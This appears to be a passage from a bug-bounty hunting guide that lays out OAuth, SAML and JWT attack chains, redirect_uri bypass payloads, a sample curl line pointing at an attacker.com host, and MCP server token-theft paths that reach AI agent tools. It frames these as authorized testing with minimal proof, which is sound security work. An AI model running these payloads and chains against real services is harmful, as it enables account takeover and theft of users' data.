Hunter's note: This is the first chain you should attempt on every program. Don't file the open redirect alone — every triager kills standalone open redirects as Low. The pivot that separates a $150 Low from a $15K Critical is twenty minutes spent finding the OAuth flow on the same host. The open redirect must be on a host that's allowed as a redirect_uri; check the application's OAuth configuration page (often /developers, /settings/applications, or third-party login scope page) to confirm the host is whitelisted. The trick most hunters miss: the open-redirect endpoint doesn't have to be a vulnerability — many products ship intentional ?next= redirects with naive same-origin checks. Lovable.dev H1 #3599248 demonstrated even a fix bypass (the /..// path-traversal trick) is enough.
Chain 2 — nOAuth + Account Merge → Cross-Tenant Microsoft Account Takeover
- Bug A: Target uses "Sign in with Microsoft" (Entra ID multi-tenant)
- Bug B: Target's OAuth user-mapping uses
email claim instead of oid / sub (CVE-2024-21632 pattern)
- Bug C: Account merge logic links new OAuth login to existing local account by email
- Outcome: Attacker creates free Entra tenant, sets mail attribute to victim's email, logs in to target, fully takes over victim's account — bypassing MFA, password, all conditional access
- Bounty range: $5,000-$75,000 (Descope's coordinated nOAuth disclosure paid $75K+ across multiple programs; CVE-2024-21632 GHSA disclosed bug in omniauth-microsoft_graph, Recognize.app program; Semperis 2025 found 9% of Entra Gallery apps still vulnerable)
- Disclosure source: CVE-2024-21632, GHSA-5g66-628f-7cvj, Descope blog post June 20 2023, Semperis blog June 25 2025
Hunter's note: What worked: registering a brand-new Entra tenant takes 5 minutes via free.azure.microsoft.com — no credit card for nOAuth testing. Set the user's mail attribute (Contact Information) to the victim's email; do NOT use the UPN. The xms_edov claim was introduced post-June-2023 to mitigate this, but Microsoft set removeUnverifiedEmailClaim=true only for new app registrations after June 2023; the default for older apps is still vulnerable. Why this pays where the single bug doesn't: standalone "you trust the email claim" without a working PoC is theoretical and gets closed Informative. Demonstrate the merge against a real victim account you own (your second account on the target) and the bug becomes Critical.
Chain 3 — SAML Parser Differential → Unauthenticated Admin on GitLab Enterprise (the SAML Roulette chain)
- Bug A: Target uses
ruby-saml < 1.18.0 (or omniauth-saml referencing ruby-saml < 1.18.0) — fingerprint via login response Server header or behavior
- Bug B: Obtain any legitimately signed SAML assertion (your own login on a smaller tenant of the same IdP, or any partner-org assertion from federated SSO)
- Bug C: Modify XML with DOCTYPE
<!ATTLIST> injection (CVE-2025-25291) or namespace confusion (CVE-2025-25292) so REXML and Nokogiri see different documents — REXML validates signature on the original element, Nokogiri reads attacker's NameID
- Bug D: Set NameID to admin user (often known:
admin@target.com, root@target.com, first user enumerated)
- Outcome: Unauthenticated admin access to the target SAML SP — for GitLab Enterprise, this is unauthenticated cluster-admin
- Bounty range: GitHub Security Lab paid undisclosed five-figure-plus for CVE-2025-25291/25292 (private bug bounty engagement, ahacker1 + Peter Stöckli + p-); GitLab Enterprise SSRF/SAML paths historically pay $10K-$20K via H1 #gitlab program
- Disclosure source: CVE-2025-25291, CVE-2025-25292, GHSL-2024-329, GHSL-2024-330, PortSwigger SAML Roulette by Gareth Heyes + Zakhar Fedotkin (March 2025), GitHub Security Lab advisory by Peter Stöckli
Hunter's note: What worked: SAML Raider is the right Burp extension; do not try to craft XML by hand. The hardest part of this chain isn't the parser-differential payload — it's getting any signed assertion. Set up a free Okta developer org or use the IdP's public sandbox; the signature on your own assertion is what you'll wrap. The DOCTYPE technique only works on Ruby < 3.4.2 because REXML truncates !ATTLIST differently in newer Ruby versions; combine namespace confusion with DOCTYPE for max coverage. Why this pays: SAML is the auth protocol enterprises trust the most, so any signature bypass is a perfect storm of "production critical" and "no detection signature." GitLab paid premium because their entire enterprise tier sells on SAML SSO security.
Chain 4 — Subdomain Takeover → OAuth redirect_uri whitelist bypass → Federated Account Takeover
- Bug A: Find dangling subdomain in
*.target.com (S3, Heroku, GitHub Pages, Azure App Service, Vercel) via subzy / nuclei takeover templates
- Bug B: Claim it (e.g.,
git push to abandoned-app.heroku.com matches the dangling CNAME)
- Bug C: Target's OAuth provider whitelists
*.target.com for redirect_uri (or uses substring match)
- Bug D: Set
redirect_uri=https://abandoned-subdomain.target.com/oauth/callback — AS approves; victim's code lands on attacker host
- Outcome: Federated SSO account takeover for any user who clicks attacker's auth URL
- Bounty range: $2,000-$10,000 disclosed via HackerOne (subdomain takeover alone $200-$5K HackerOne program range, but chained to OAuth ATO crosses into mid-four to low-five-figure)
- Disclosure source: HackTricks OAuth wiki (
*.example.com wildcard) at https://hacktricks.wiki/en/pentesting-web/oauth-to-account-takeover.html, HackerOne corpus pattern (multiple disclosed reports across H1 with the wildcard-takeover→OAuth chain)
Hunter's note: What worked: most programs treat subdomain takeover as Low/Medium standalone, but combining with OAuth ATO escalates to High/Critical because you can prove victim impact. The hardest part: programs differ on whether they accept the chain — some say "we already paid for the subdomain takeover, the OAuth angle is duplicate." Counter this in your report by emphasizing blast radius: standalone takeover affects only users who click attacker links going to that subdomain; OAuth chain affects every user who clicks "Login with Target" anywhere. What failed first: I tried takeover → cookie injection on the apex first; modern __Host- cookies blocked it. Pivot to OAuth was 30 minutes of redirect_uri fuzzing. Why this pays: it demonstrates a real-world attack path, not a hypothetical CWE-601.
Chain 5 — MCP server misconfig → OAuth code interception → Agentic LLM API abuse → Credential exfil
- Bug A: Find MCP server (HTTP endpoint advertising
WWW-Authenticate: Bearer realm="MCP" or /.well-known/oauth-protected-resource)
- Bug B: MCP server uses
cloudflare/workers-oauth-provider < 0.0.5 → CVE-2025-4143 (no redirect_uri validation) + CVE-2025-4144 (PKCE downgrade)
- Bug C: Send victim crafted authorize URL with
redirect_uri=https://attacker.com and no code_challenge
- Bug D: Capture victim's code, exchange at token endpoint with attacker's
code_verifier (PKCE downgrade allows it)
- Bug E: Use stolen MCP token to invoke MCP tools (e.g., D1 database read, GitHub repo content read, AWS Lambda invoke)
- Bug F: MCP tool output containing private repo contents flows back to attacker; if MCP server is bridged to LangChain agent with shell exec → also RCE
- Outcome: Account takeover on the MCP server + exfil of all data the OAuth scopes covered + potential RCE if agent executes arbitrary code
- Bounty range: low-five-figure to mid-five-figure (Anthropic CVE-2025-49596 MCP Inspector RCE in 38K weekly downloads, classed Critical; JFrog disclosed CVE-2025-6514 mcp-remote RCE affecting 558K downloads; Cloudflare paid for workers-oauth-provider class internally)
- Disclosure source: CVE-2025-4143, CVE-2025-4144, CVE-2025-6514, CVE-2025-49596, GHSA-qgp8-v765-qxx9 (Cloudflare), GHSA-4pc9-x2fx-p7vj (Cloudflare), GHSA-5h2m-4q8j-pqpj (FastMCP), GHSA-2h78-5wx8-jccc (Google Security Research → Cloudflare)
Hunter's note: What worked: MCP servers are brand new attack surface and most of them are written by developers who've never deployed OAuth before. The Anthropic ecosystem (Claude Desktop, Cursor, Windsurf, claude.ai) connects to thousands of self-hosted MCP servers, and Obsidian Security's research shows the common implementation pattern is broken in at least one of: anonymous-cookie session binding, PKCE enforcement, audience validation, or redirect_uri checking. Why this pays: the OAuth bug becomes a tool-use compromise, which in agentic LLM context means private data exfil + cross-tenant pivot. The pivot most hunters miss: the MCP server's OAuth token is often passed through to a downstream API (Salesforce, GitHub, Slack), so stealing it gives you access to the underlying SaaS, not just the MCP layer. Audit WWW-Authenticate: Bearer realm="MCP" responses for resource_metadata URL — the metadata document tells you exactly which downstream APIs the token is valid against.
Chain 6 — JWT alg confusion → JWKS extraction → Service-to-Service Token Forgery → Cross-Service Privilege Escalation
- Bug A: Target uses RS256-signed JWTs with public JWKS at
/.well-known/jwks.json
- Bug B: Backend library is
python-jose ≤ 3.3.0 (CVE-2025-61152), or Hono < 4.11.4 (CVE-2026-22817), or any library not pinning algorithms: ["RS256"]
- Bug C: Extract public key from JWKS, format as PEM
- Bug D: Forge HS256 token signed with the PEM as HMAC secret using
jwt_tool -X k -pk public.pem
- Bug E: Token's
aud claim is missing or wildcard → token replays across multiple internal services in same JWT trust circle (CVE-2025-27370 audience injection class)
- Outcome: Forge JWT for any user including admin; replay across all services in the JWT trust circle; cross-service privilege escalation
- Bounty range: $5,000-$25,000 depending on services accessible (H1 #1080786 jwt header merchant_id misconfig $High; H1 #1889161 JWT audience claim not verified Critical; widespread internal-service RCE chains have paid $25K+ on bug bounty programs that cover internal infrastructure)
- Disclosure source: CVE-2026-22817 (Hono CVSS 8.2), CVE-2026-22818 (Hono JWK middleware GHSA-3vhc-576x-3qv4), CVE-2024-37568 (Authlib HMAC bypass milliesolem), CVE-2024-54150 (cjwt), CVE-2025-27370/27371 (OpenID Federation audience injection)
Hunter's note: What worked: the alg=none variant is still a working bug despite being known since 2015 — python-jose accepts it on verify_signature: False configurations (CVE-2025-61152). The case-bypass variants nOnE/NoNE/NULL work against many homegrown JWT validators that string-compare without lowercasing. The RS256→HS256 trick has the highest impact but requires the public key to be in PEM-compatible format (some JWKS endpoints emit raw modulus/exponent only — you need to convert). Why this pays where solo "alg=none accepted" doesn't: chaining to cross-service replay shows blast radius. Triagers see "you forged a JWT for service X" and ask "so what?" — if you also demonstrate "and X's token is accepted by service Y because both sit behind the same JWT validator," it becomes a multi-system breach.
Chain 7 — Race-Condition OAuth Token Mint → Multiple Sessions → Persistence
- Bug A: Target's
/oauth/token endpoint check-then-use code redemption (no DB lock)
- Bug B: Submit 50 parallel POST
/oauth/token requests with same code, different code_verifier values, via Turbo Intruder single-packet HTTP/2 attack
- Bug C: 2+ requests succeed, returning 2+ valid
access_token values
- Bug D: Each access_token is for a different effective session; deleting one doesn't kill the others (depending on backend session model)
- Outcome: Persistent access via second token even after victim revokes first; OAuth token mint for arbitrary scopes if scope is also in race window
- Bounty range: $5,000-$10,000 disclosed via HackerOne ($8,500 P1 paid to Anmol Singh Yadav April 2025 on Fortune 500 cloud business-management platform; race-condition severity scales with what the resulting token grants)
- Disclosure source: InfoSec Write-ups Anmol Singh Yadav April 20 2025 disclosed at https://infosecwriteups.com/how-i-hijacked-oauth-tokens-through-a-parallel-auth-flow-race-condition-8500-p1-bug-bounty-7af1cccc4d4c — $8500 P1 OAuth race condition disclosed program writeup, HackerOne corpus race-condition OAuth pattern (multiple disclosed)
Hunter's note: What worked: Turbo Intruder's engine=Engine.BURP2 concurrentConnections=1 requestsPerConnection=50 pipeline=False configuration with HTTP/2 single-packet (gate.openGate(150)) reliably wins token-endpoint races. The endpoints to attack are: /oauth/token, /sso/token, /connect/token, GraphQL exchangeToken mutations, and any /refresh endpoint that swaps a refresh token for an access token. What failed first: standard race attempts via requests Python library never won — needed Turbo Intruder's last-byte-sync. Why this pays: most OAuth race-condition bugs are invariants violations (RFC 6749 §4.1.2 says codes are single-use); demonstrating the violation with two different tokens is high-impact because it breaks the security model of OAuth. The triager doesn't have to decide "is this serious?" — RFC text decides for them.
Common Root Causes
OAuth/OIDC/SAML/JWT bugs cluster around predictable developer mistakes. Hunting cheat-sheet for code review or behavioral testing:
- Pattern 1: redirect_uri loose-validation. Where to look: any startsWith/contains/regex/Set membership check on the
redirect_uri value. Failure mode: substring or regex bypass. Disclosed example: CVE-2024-52289 Authentik regex with unescaped . (https://app.example.com accepts https://app0example.com).
- Pattern 2: state parameter not validated. Where to look: OAuth callback handler that reads
code from query without referencing state. Failure mode: CSRF on OAuth linking → attacker links victim to attacker's IdP account. Disclosed example: HackerOne #850022 launchpad.37signals.com OAuth2 CSRF, bugbounty.ch May 2023 case study.
- Pattern 3: Email claim used as user identifier. Where to look: User.findBy(email=...) called with OIDC claim. Failure mode: nOAuth — Entra ID emits unverified email by default for pre-2023 apps. Disclosed example: CVE-2024-21632 omniauth-microsoft_graph (Recognize.app), Semperis 2025 found 15,000+ SaaS apps still vulnerable.
- Pattern 4: JWT algorithm taken from token header. Where to look: jwt.verify(token, secret) without algorithms param; or JWK lookup that falls back to header.alg when JWK lacks
alg. Failure mode: alg=none, RS256→HS256, custom algorithm bypass. Disclosed example: CVE-2026-22817 Hono CVSS 8.2, CVE-2024-54150 cjwt, CVE-2024-37568 Authlib.
- Pattern 5: Authorization code not bound to client. Where to look: token endpoint reads stored code, doesn't check storedCode.clientID == requestingClientID. Failure mode: Cross-client code redemption — malicious OAuth RP exchanges another client's code for tokens. Disclosed example: CVE-2026-32245 tinyauth (refresh-token flow had check, auth-code flow didn't, GHSA-xg2q-62g2-cvcm).
- Pattern 6: PKCE downgrade — code_verifier optional when code_challenge present. Where to look: token endpoint that wraps PKCE check in
if (code_verifier) { ... }. Failure mode: Drop code_verifier → check skipped. Disclosed example: CVE-2023-48228 Authentik, CVE-2024-22258 Spring Authorization Server, CVE-2025-4144 Cloudflare workers-oauth-provider.
- Pattern 7: SAML signature verification result discarded. Where to look:
validateSignature(...) called as expression statement, return value not assigned/checked. Failure mode: Forged AuthnRequest accepted as if signed. Disclosed example: CVE GHSA-25cw-98hg-g3cg Admidio (smc_require_auth_signed config flag completely ineffective).
- Pattern 8: SAML AssertionConsumerServiceURL trusted from request. Where to look: SAMLService that uses as the response Destination/Recipient. Failure mode: Attacker crafts AuthnRequest with arbitrary ACS URL → IdP delivers signed assertion to attacker. Disclosed example: GHSA-p9w9-87c8-m235 Admidio (May 2026).
Bypass Techniques
- Substring redirect_uri whitelist — append host suffix
https://target.com.attacker.com/oauth/callback. Bypass works when validator does redirect_uri.contains("target.com"). CVE-2024-52289 Authentik (regex . unescaped — Lukas Omegapoint disclosure February 2025), HackerOne #1212337 (bypass the fix of #1078283 due to poor validation), HackerOne #665651 (Stealing Users OAuth Tokens through redirect_uri parameter, $High).
- Userinfo (@) bypass —
https://target.com@attacker.com/oauth-callback. RFC 3986 §3.2.1 — host parser confusion between browser and validator. Voorivex blog "Drilling the redirectUri in OAuth" (Oct 2024), HackTricks OAuth wiki, demonstrated against Apple OAuth provider.
- IPv6 + userinfo combo —
http://[::1]@[::1]@attacker.com/. Google Cloud SDK redirect_uri impersonation by @weirdmachine HackerNoon May 2025 — defeated Google's parser-precision validation across multiple Google services.
- IDN homograph — Cyrillic
tаrget.com (а=U+0430). Validation occurs on punycode form; browser navigates to Unicode. HackTricks OAuth wiki, also CVE-2018-7166 family Express path-to-regexp.
- Path traversal in redirect_uri —
https://booth.pm/users/auth/pixiv/callback/../../../../ja/items/<id>. HackerOne #1861974 Pixiv $2,000 — Google Analytics on attacker's product page captures code from query string.
- Wildcard subdomain takeover — claim dangling
abandoned.target.com, set redirect_uri=https://abandoned.target.com/callback. Pattern documented in HackTricks OAuth ATO wiki and routinely exploited; HackerOne corpus shows 4-figure to 5-figure payouts when chained to OAuth.
- Open-redirect on whitelisted host — set
redirect_uri=https://target.com/redirect?next=https://attacker.com. AS validates target.com prefix → 302 chain to attacker. DEV.to lucky_lonerusher 2026 reports $15K paid; HackerOne #2828499 (open redirected by host header), HackerOne #2812583 (Tumblr redirect_to parameter Low → escalated).
- Path-encoded bypass on fix —
/..//logout?redirect=https://attacker.com to bypass naive ^/logout allowlist. HackerOne #3599248 (Bypass of Open Redirect Fix on lovable.dev via /..// Path Traversal) Medium 2026.
- CRLF in redirect_uri —
redirect_uri=https://target.com/callback%0d%0aLocation:%20https://attacker.com. HackerOne #2147132 Mozilla bugzilla CRLF Header injection via redirect_uri (2023).
Gate 0 Validation
Before writing the report, prove:
-
Concrete demonstration: minimum proof. For redirect_uri leak: capture victim's code in your exploit-server access log + screenshot of admin-panel access using exchanged token. For state-CSRF linking: screenshot of victim's account with attacker's IdP linked. For nOAuth: screenshot of victim's account dashboard accessed via attacker's Entra tenant. For JWT alg confusion: forged token + screenshot of admin endpoint returning 200 with admin-only data. For SAML wrapping: forged assertion + screenshot of admin login. Never dump /etc/passwd, never cat /root/, never read sensitive PII you don't need — trigger the auth and stop. Do not pivot; do not chain to data exfil; do not dump the user table. The minimum proof IS the bug.
-
Business loss mapping: customer PII / financial / credential / availability — pick one and quantify. nOAuth chain: "All N admins of any tenant on Entra-multi-tenant-app are accessible." OAuth ATO: "Any user who clicks an attacker URL is fully compromised — bypasses MFA, password reset, conditional access." MCP token theft: "Attacker accesses N downstream services the OAuth scope grants — list each (Salesforce read, GitHub repo read, Slack DM read)."
-
Reproducibility in 10 minutes: write the curl one-liner. For redirect_uri bypass: curl -v "https://idp.target.com/oauth/authorize?client_id=X&redirect_uri=https://target.com.attacker.com/&response_type=code&state=Y". For state CSRF: provide CSRF PoC HTML page. For SAML wrapping: provide modified XML payload. For race condition: provide Turbo Intruder script. Triagers close anything they can't repro at lunch — make the repro one-page-max.
-
Scope check: target asset is in-scope for the program TODAY. Asset reachable now. Vuln present now. Re-test before submission. OAuth providers frequently silent-patch — what worked Tuesday is patched by Thursday. Always re-test the morning of submission.
-
PoC artifacts: 30-60 second screen recording (asciinema or mp4). Show the original auth flow → mutation → leaked code → exchanged token → privileged action. Burp request/response screenshots for each request: the auth request, the callback redirect, the token exchange. Curl one-liner in plain text. No edited videos.
If any of the 5 fails: stop. You have a finding, not a report.
Top-Tier Hunter Decision Engine
OAuth/OIDC/SAML bugs pay when identity binding breaks. Before reporting, name the broken binding: redirect_uri to client, state to browser session, code to verifier, token to audience, email to verified tenant, assertion to signed element, or scope to downstream resource. If you cannot name the binding, you probably have protocol noise.
Stop in 10 minutes when the issue is missing-state without account linking, open redirect without OAuth reuse, JWT storage without XSS, or parser theory without a version match. Keep chaining when you can capture an authorization code, link attacker IdP to victim account, forge a token accepted by a second service, or impersonate across tenants. Report immediately when the proof reaches victim-session creation on your own second account or downstream OAuth token use; do not dump mailboxes, repos, or customer records.
Minimum proof ceiling: capture the code/token only for your test account, exchange it once, show the resulting session or one harmless privileged action, then stop. For SAML/JWT, include the original and modified assertion/token with secrets redacted. For MCP/OAuth, list scopes and one benign tool invocation rather than exfiltrating connected SaaS data.
Real Impact Examples
Example 1 — redirect_uri-bypass ($2,000 disclosed paid bounty, single-bug high-impact)
- Setup: Pixiv's OAuth provider at
oauth.secure.pixiv.net/v2/auth/authorize accepts redirect_uri=https://booth.pm/users/auth/pixiv/callback for the Booth.pm OAuth client (a1Z7w6JssUQkw5Hid0uIDeuesue9). Validation: redirect_uri must start with the registered prefix.
- Discovery: The hunter found that path-traversal segments in the URL (
/../../../../) are not normalized before the prefix check. Setting redirect_uri=https%3A%2F%2Fbooth.pm%2Fusers%2Fauth%2Fpixiv%2Fcallback/../../../../ja/items/<attacker_product_id> was accepted. The traversal collapses on the browser side, so the victim is redirected to https://booth.pm/ja/items/<attacker_product_id> — a product page the attacker controls.
- Exploitation: Attacker created a public Booth shop, registered an item with Google Analytics tracking, then sent the crafted authorize URL to victims. Victim authenticates → IdP redirects to attacker's product page → product page's GA captures the
code query parameter from the URL → attacker reads GA real-time reports → exchanges code → ATO.
- Impact: Account takeover for any Pixiv user who clicks the attacker's link. GA real-time reports give the code with sub-minute latency, well within the typical 10-minute code lifetime.